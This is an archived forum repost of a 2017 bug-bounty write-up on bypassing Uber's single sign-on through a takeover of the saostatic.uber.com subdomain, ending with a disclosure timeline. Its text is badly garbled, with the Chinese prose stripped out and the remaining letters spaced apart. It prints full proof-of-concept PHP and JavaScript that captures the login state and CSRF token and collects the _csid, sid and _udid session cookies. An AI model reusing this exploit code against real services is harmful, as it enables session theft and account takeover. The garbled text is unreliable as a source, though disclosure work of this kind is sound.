[11604] 2017-07-30_挖洞经验看我如何通过子域名接管绕过Uber单点登录认证机制

文档创建者:s7ckTeam
浏览次数:17
最后更新:2025-01-18
2017-07-30_挖洞经验看我如何通过子域名接管绕过Uber单点登录认证机制   |   U b e r c l o u d s   F r e e B u f   2 0 1 7 - 0 7 - 3 0 U b e r 使 使 A m a z o n   C l o u d F r o n t   C D N s a o s t a t i c . u b e r . c o m U b e r a u t h . u b e r . c o m U b e r c o o k i e S S O * . u b e r . c o m c o o k i e U b e r S S O U b e r 访 访 U b e r 5 0 0 0 S S O O A u t h :   S e r v i c e   P r o v i d e r s I d e n t i t y   P r o v i d e r s U R L s t a t e C S R F A i r b n b S A M L   &   f r i e n d s :   X M L 使 X M L O n e L o g i n c o o k i e :   c o o k i e S S O R C E U b i q u i t y S S O S S O S S O U b e r U b e r 使 O A u t h * . u b e r . c o m S S O c o o k i e S S O 访 u b e r . c o m a u t h . u b e r . c o m S S O S S O c o o k i e U b e r 访
S S O a u t h . u b e r . c o m c o o k i e U b e r s a o s t a t i c . u b e r . c o m U b e r S S O U b e r * . u b e r . c o m U b e r D N S   C N A M E s a o s t a t i c . u b e r . c o m A m a z o n   C l o u d f r o n t   C D N U b e r P o C : U b e r U b e r S S O a u t h . u b e r . c o m c o o k i e r i d e r s . u b e r . c o m c o o k i e U b e r   S S O
9 1 2 c o o k i e     _ c s i d J a c k   W h i t t o n C S P c o o k i e 便 c o o k i e 1 2 1 2 h t t p s : / / r i d e r s . u b e r . c o m a u t h . u b e r . c o m c o o k i e _ c s i d c o o k i e 3 1 3 h t t p s : / / s a o s t a t i c . u b e r . c o m c o o k i e
h t t p s : / / r i d e r s . u b e r . c o m c o o k i e   _ c s i d 9 _ c s i d   c o o k i e U b e r C S R F C S R F U b e r   S S O
G E T s t a t e = C S R F T O K E N 3 r i d e r s . u b e r . c o m 1 1 c o o k i e c o o k i e c o o k i e _ c s i d N O h t t p s : / / r i d e r s . u b e r . c o m C S R F T O K E N c o o k i e h t t p s : / / r i d e r s . u b e r . c o m a u t h . u b e r . c o m   U R L c o o k i e     _ c s i d c o o k i e 9 _ c s i d
P o C P o C 1 h t t p s : / / r i d e r s . u b e r . c o m h t t p s : / / a u t h . u b e r . c o m 使 h t t p s : / / r i d e r s . u b e r . c o m 2 访 h t t p s : / / s a o s t a t i c . u b e r . c o m / p r e p a r e u b e r a t t a c k . p h p S S L u r l C o o k i e S e t - C o o k i e c o o k i e 3 访 p r e p a r e u b e r a t t a c k . p h p U R L p r e p a r e u b e r a t t a c k . p h p C o o k i e : 4 h t t p s : / / r i d e r s . u b e r . c o m / t r i p s p r e p a r e u b e r a t t a c k . p h p S e t - C o o k i e
c o o k i e h t t p s : / / v . q q . c o m / x / p a g e / k 0 5 2 5 k 5 z v l n . h t m l i f r a m e h t t p s : / / s a o s t a t i c . u b e r . c o m / p r e p a r e u b e r a t t a c k . p h p U R L c o o k i e P o C   h t t p s : / / s a o s t a t i c . u b e r . c o m / p r e p a r e u b e r a t t a c k . p h p h t t p s : / / s a o s t a t i c . u b e r . c o m / u b e r a t t a c k . p h p p r e p a r e u b e r a t t a c k . p h p u b e r a t t a c k . p h p P H P r i d e r s . u b e r . c o m U b e r v a u l t . u b e r . c o m p a r t n e r s . u b e r . c o m d e v e l o p e r . u b e r . c o m p r e p a r e u b e r a t t a c k . p h p u b e r a t t a c k . p h p < h t m l > < b o d y > < s c r i p t > < ? p h p         f u n c t i o n   H a n d l e H e a d e r L i n e (   $ c u r l ,   $ h e a d e r _ l i n e   )   {                 p r e g _ m a t c h ( " / s t a t e = ( [ ^ ; ] * ) ; / " ,   $ h e a d e r _ l i n e ,   $ m a t c h e s ) ;         i f ( s i z e o f ( $ m a t c h e s )   >   0 )   {                 p r i n t ( " v a r   c o o k i e s t a t e   =   ' "   .   $ m a t c h e s [ 1 ]   .   " ' ; n " ) ;         }         p r e g _ m a t c h ( " / L o c a t i o n :   ( . * ) / " ,   $ h e a d e r _ l i n e ,   $ m a t c h e s ) ;         i f ( s i z e o f ( $ m a t c h e s )   >   0 )   {                 p r i n t ( " v a r   l o c   =   ' "   .   t r i m ( $ m a t c h e s [ 1 ] )   .   " ' ; n " ) ;         }         r e t u r n   s t r l e n ( $ h e a d e r _ l i n e ) ;         }               $ c   =   c u r l _ i n i t ( ' h t t p s : / / r i d e r s . u b e r . c o m ' ) ;         c u r l _ s e t o p t ( $ c ,   C U R L O P T _ V E R B O S E ,   1 ) ;         c u r l _ s e t o p t ( $ c ,   C U R L O P T _ R E T U R N T R A N S F E R ,   1 ) ;         c u r l _ s e t o p t ( $ c ,   C U R L O P T _ H E A D E R F U N C T I O N ,   " H a n d l e H e a d e r L i n e " ) ;         $ p a g e   =   c u r l _ e x e c ( $ c ) ; ? > v a r   c s r f   =   l o c . s u b s t r i n g ( l o c . l a s t I n d e x O f ( " = " ) + 1 ) ; v a r   i m g   =   d o c u m e n t . c r e a t e E l e m e n t ( " I M G " ) ; i m g . o n e r r o r   =   f u n c t i o n   ( )   {         v a r   i f r a m e   =   d o c u m e n t . c r e a t e E l e m e n t ( " i f r a m e " ) ;         i f r a m e . s e t A t t r i b u t e ( " s r c " , " h t t p s : / / s a o s t a t i c . u b e r . c o m / u b e r a t t a c k . p h p ? c o o k i e s t a t e = "   +   e n c o d e U R I C o m p o n e n t ( c o o k i e s t a t e )   +   " & c s r f t o k e n = "   +   c s r f ) ;         i f r a m e . s e t A t t r i b u t e ( " w i d t h " ,   " 1 0 0 % " ) ;         i f r a m e . s e t A t t r i b u t e ( " h e i g h t " ,   " 1 0 0 0 0 " ) ;         d o c u m e n t . b o d y . a p p e n d C h i l d ( i f r a m e ) ;   } i m g . s r c = l o c ; < / s c r i p t > < / b o d y > < / h t m l > < h t m l > < b o d y > < ? p h p         $ c o o k i e s t r i n g   =   " s t a t e = "   .   $ _ G E T [ " c o o k i e s t a t e " ]   .   " ;   " ;         $ i n t e r e s t i n c o o k i e s   =   a r r a y ( " _ u d i d " ,   " _ c s i d " ,   " s i d " ) ;         f o r e a c h   ( $ _ C O O K I E   a s   $ n a m e   = >   $ v a l u e )   {         i f   ( i n _ a r r a y ( $ n a m e , $ i n t e r e s t i n c o o k i e s ) )   {                       $ c o o k i e s t r i n g   =   $ c o o k i e s t r i n g   .   $ n a m e   .   " = "   .   s t r _ r e p l a c e ( '   ' ,   ' + ' ,   $ v a l u e )   .     " ;   " ;                 $ c o o k i e s t r i n g s e t   =   $ c o o k i e s t r i n g s e t   .   " S e t - C o o k i e :   "   .   $ n a m e   .   " = "   .   s t r _ r e p l a c e ( '   ' ,   ' + ' ,   $ v a l u e )   .     " ; < / b r > " ;                 }         }         p r i n t   " U r l :   "   .   ' h t t p s : / / r i d e r s . u b e r . c o m / ? s t a t e = '   .   u r l e n c o d e ( $ _ G E T [ " c s r f t o k e n " ] )   .   " < b r   / > < b r   / > " ;         p r i n t   " C o o k i e :   "   .   $ c o o k i e s t r i n g   .   " < b r   / > " ;         p r i n t   " < b r   / > "   .   $ c o o k i e s t r i n g s e t   .   " < b r   / > " ; ? > < / b o d y > < / h t m l >
U b e r 1 A W S   C l o u d F r o n t   C D N s a o s t a t i c . u b e r . c o m 2 使 O A u t h   2 c o o k i e   S S O I P I P S S O U b e r U b e r C N A M E I P U b e r   S S O 2 0 1 7 4 7         U b e r 2 0 1 7 4 1 1       U b e r 2 0 1 7 4 1 4     $ 5 0 0 2 0 1 7 6 6       s a o s t a t i c . u b e r . c o m U b e r 2 0 1 7 6 6       U b e r 2 0 1 7 6 7       s a o s t a t i c . u b e r . c o m D N S   C N A M E 2 0 1 7 6 1 4     $ 4 5 0 0 2 0 1 7 7 7       U b e r S S O I P 2 0 1 7 7 1 1     U b e r * a r n e s w i n n e n f r e e b u f c l o u d s F r e e B u f . C O M

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则